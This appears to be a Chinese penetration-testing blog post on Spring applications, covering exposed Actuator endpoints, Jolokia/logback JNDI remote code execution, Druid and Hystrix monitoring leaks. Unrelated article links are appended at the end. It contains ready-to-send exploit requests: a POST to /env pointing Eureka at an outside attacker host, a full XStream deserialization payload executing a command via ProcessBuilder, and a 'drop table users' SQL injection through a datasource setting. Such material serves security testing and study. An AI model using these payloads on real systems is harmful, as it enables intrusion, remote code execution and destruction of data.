spring框架的一些测试思路
一.Spring Boot Actuators
Spring Boot Actuator是Spring Boot提供的对应用系统的监控和管理的集成功能,可以查看应用配置的详细信息,例如自动化配置信息、创建的Spring beans信息、系统环境变量的配置信以及Web请求的详细信息等。如果使用不当或者一些不经意的疏忽,可能造成信息泄露等严重的安全隐患。
当Spring Boot应用程序运行时,它会自动将多个端点例如/health,/trace,/beans,/env等注册到路由过程中。对于Spring Boot 1-1.4,无需身份验证即可访问它们,从而导致严重的安全性问题。从Spring 1.5版开始,默认情况下,除/health和/info之外的所有端点都被视为敏感和不安全的,但是应用程序开发人员经常禁用此安全性。
以下Actuator端点可能会带来安全隐患,从而导致可能的漏洞:
| 路径 | 描述 |
|---|---|
| /autoconfig | 提供了一份自动配置报告,记录哪些自动配置条件通过了,哪些没通过 |
| /beans | 描述应用程序上下文里全部的Bean,以及它们的关系 |
| /env | 获取全部环境属性 |
| /configprops | 描述配置属性(包含默认值)如何注入Bean |
| /dump | 获取线程活动的快照 |
| /logfile | 输出日志文件的内容 |
| /restart | 重新启动应用程序 |
| /mappings | 描述全部的URI路径,以及它们和控制器(包含Actuator端点)的映射关系 |
| /metrics | 报告各种应用程序度量信息,比如内存用量和HTTP请求计数 |
| /shutdown | 关闭应用程序,要求endpoints.shutdown.enabled设置为true |
| /trace | 提供基本的HTTP请求跟踪信息(时间戳、HTTP头等) |
对于Spring 1x,它们在根目录下注册,而在2x中,它们移至/actuator/路径。
一些可能获取shell的方法
1.通过/jolokia执行远程代码
Jolokia库使用用户提供的输入来启动LDAP/RMI连接,在jolokia/list目录搜索logback组件

logback组件提供的reloadByURL 操作使我们可以从外部URL重新加载日志配置,只需要访问
因为日志配置为xml格式,当logback启用外部实体时,会对其进行解析,可以实现盲XXE。
logback配置具有从JNDI获取变量的功能,在XML文件中,我们可以包含一个标签,例如并且name属性将传递到DirContext.lookup()方法。如果我们可以在 .lookup()函数中提供一个任意名称,那么我们甚至不需要XXE或HeapDump,因为它为我们提供了完整的Remote Code Execution。
2.通过/env修改配置
POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 65
eureka.client.serviceUrl.defaultZone=http://vps.com/n/xstream
先执行上面请求将Eureka serviceURL修改为任意值,然后请求/refresh。如果Eureka-Client <1.8.7则可以利用XStream反序列化漏洞,服务器上xstream的内容为:
<linked-hash-set>
<jdk.nashorn.internal.objects.NativeString>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>whoami</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
</is>
</dataSource>
</dataHandler>
</value>
</jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>
其他有用的设置
POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 65
spring.datasource.tomcat.validationQuery=drop+table+users
此请求可以执行任意SQL语句

有一个要注意的地方在Spring Boot 2x中通过/env的请求方式为json格式
/swagger-ui.html接口泄露

可测试有误未授权接口,接口有无注入。
二.Druid
druid是国内及公司内部最常用的数据库连接池配置管理工具;其内置监控页面,用于拦截sql及实时监控连接池/sql信息,该页面在原生的druid包中默认为禁用,但其用于适配springboot的druid-spring-boot-starter包,默认打开该监控页面(http://ip:port/druid/index.html) ,打开后存在如下风险:
泄漏DB域名、使用用户及库名:

泄漏SQL信息:

泄露session:

三.hystrix监控
Hystrix除了实现容错之外,还提供了近乎实时的监控。Hystrix Command和HystrixObservableCommand在执行时,会会生成执行结果和运行指标,比如每秒的请求数和成功数等,这些监控数据对于分析系统请求的调用情况很有用。

spring框架的一些测试思路的更多相关文章
- Spring框架下Junit测试
Spring框架下Junit测试 一.设置 1.1 目录 设置源码目录和测试目录,这样在设置产生测试方法时,会统一放到一个目录,如果没有设置测试目录,则不会产生测试代码. 1.2 增加配置文件 Res ...
- Spring框架进阶3
Spring框架进阶3 测试spring_jdbc和spring对事务的管理 先配置相应的pom <?xml version="1.0" encoding="UTF ...
- Spring框架基础2
Spring框架基础2 测试Spring的AOP思想和注解的使用 导包(在前面的基础上添加) SpringAOP名词解释 AOP编程思想:横向重复代码,纵向抽取:就是说多个地方重复的代码可以抽取出来公 ...
- Spring框架之beans源码完全解析
导读:Spring可以说是Java企业开发里最重要的技术.而Spring两大核心IOC(Inversion of Control控制反转)和AOP(Aspect Oriented Programmin ...
- spring框架学习笔记1:搭建测试
Spring框架介绍: Spring框架涵盖了web.service.dao三层,本身是一个存放对象的容器 形象来说:Spring是项目中对象管家 Spring框架的两大核心思想:控制反转(IOC). ...
- 使用 Spring 2.5 TestContext 测试框架
Spring 2.5 TestContext 测试框架用于测试基于 Spring 的程序,TestContext 测试框架和低版本 Spring 测试框架没有任何关系,是一个全新的基于注解的测试框架, ...
- Java开发工程师(Web方向) - 04.Spring框架 - 期末测试
Spring框架客观题 Spring框架编程题 http://blog.csdn.net/sinoacc/article/details/51702458 1 (25分) 假设有如下数据表: crea ...
- [Spring框架]Spring IOC的原理及详解。
这里感谢 CSDN 的原博客:http://blog.csdn.net/m13666368773/article/details/7802126 看后 受益匪浅,这里再重温一遍Spring IOC ...
- spring框架的一些技术总结
纵观现在互联网行业,java的地位依然不可动摇,因为java拥有着的众多开发人员和适用性广,技术与解决技术大部分开源等特点,因此java依然是众多众多开发行业作为互联网开发的首选,而说到开发,我们就不 ...
随机推荐
- Linux命令行工具之free命令
原创转载请注明出处:https://www.cnblogs.com/agilestyle/p/11524691.html 使用 free 查看整个系统的内存使用情况 Note:不同版本的free输出可 ...
- jenkins 更改端口
方法一 在Jenkins目录下,运行一下命令: java -jar jenkins.war --ajp13Port=-1 --httpPort=8081 出现了错误: C:\Program Files ...
- vue 项目的运行与 打包
1.vue init webpack 2.npm install axios 3.npm run dev 运行项目 4.npm run build 打包项目 会生成一个dist 文件夹,我们只需要把 ...
- [原创] Delphi 修改新建窗体时候的默认字体格式
Delphi 修改新建窗体时候的默认字体格式 操作步骤: 1.运行输入“regedit” 2.找到目录(这里默认以Delphi 7为例) HKEY_CURRENT_USER\Software\Borl ...
- ConcurrentHashMap1.7源码分析
参考:https://www.cnblogs.com/liuyun1995/p/8631264.html HashMap不是线程安全的,其所有的方法都未同步,虽然可以使用Collections的syn ...
- 基于oracle 的PL/SQL编程 -变量使用
1. 需要开启的服务: 本机安装的oracle ,默认是开机启动服务的,开机时间太慢,关闭了,需要手动打开: OracleDBConsoleorcl OracleOraDb10g_home1iSQL ...
- Windows Server服务器之Linux server与windows server的区别
Linux server与windows server的区别用linux做server,相对于windows server有什么优势? 首先,平均故障时间少,只要配置和使用得当,linux的平均故障( ...
- Sticks
题目链接 题意:给你一组等长木棒,然后他随意砍断成n个木棒,木棒长度不一,但你知道分别是多少,要你求出原始木棒可能的最小长度. 思路:首先那个原始木棒的长度肯定是其总长度的约数,然后也肯定大于等于所有 ...
- django搭建一个小型的服务器运维网站-重启服务器的进程
目录 项目介绍和源码: 拿来即用的bootstrap模板: 服务器SSH服务配置与python中paramiko的使用: 用户登陆与session; 最简单的实践之修改服务器时间: 查看和修改服务器配 ...
- Dealing with exceptions thrown in Application_Start()
https://blog.richardszalay.com/2007/03/08/dealing-with-exceptions-thrown-in-application_start/ One a ...